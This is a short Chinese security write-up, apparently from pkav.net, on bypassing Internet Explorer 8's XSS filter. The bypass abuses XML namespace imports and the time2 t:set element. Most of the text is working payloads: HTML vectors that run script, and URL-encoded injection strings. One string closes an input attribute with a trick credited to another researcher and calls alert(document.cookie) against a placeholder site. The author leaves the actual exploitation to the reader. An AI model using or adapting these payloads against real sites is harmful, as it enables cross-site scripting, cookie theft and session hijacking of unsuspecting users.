IE 8 XSS 过滤器绕过。感谢@Sogili牛为本绕过通用性实现上提供的tricks。
pkav.net
1. 在IE8中,可以通过 <xml> <?import> + <t:set ..> 的方式来构成一个XSS vector。
在测试过程中发现, <?import> 同样可写为 <import>。
也就是说。下面的代码都可以运行JS代码。
<html> <body> <div> <div id="x">x</div> <?xml:namespace prefix="t"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(1)>"> </div> </body> </html>
<html> <body> <div> <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(1)>"> </div> </body> </html>
2. 利用这个技巧,我发现可以成功绕过IE 8 的 xss filter
测试例子如下:
http://xsst.sinaapp.com/example/1-1.php?page=<div id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;1%26%23x29;%26gt;>
如果用<?import..>,则会触发过滤器。
3. 当然,上面这个代码,只适用于 <HTML标签>{输出在这里}</HTML标签> 的情况。
我们经常会遇到类似 <input type="text" value="{输出在这里}"> 的情况。
这样一来,我们需要在代码前面加上 "> 来闭合HTML属性。
但是问题来啦, "> 会触发XSS过滤器,过滤掉我们代码中的敏感词。
@jackmasa (https://twitter.com/jackmasa),也就是我们乌云的 @Sogili 牛,给了一个绕过的tricks, "x> 就不会触发XSS过滤器了, x代表任意字母。 非常感谢。
这样一来,我们上面的代码可以进一步通用化。
http://www.xxxx.com/product.php?search="id=><div/id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;document.cookie%26%23x29;%26gt;>
4. 至于具体怎么利用,恩,大家自己看着办。
微软已经在IE10中修复了这个问题。将会在近期推出win7的IE10版本。 故IE8中应该不会修复了。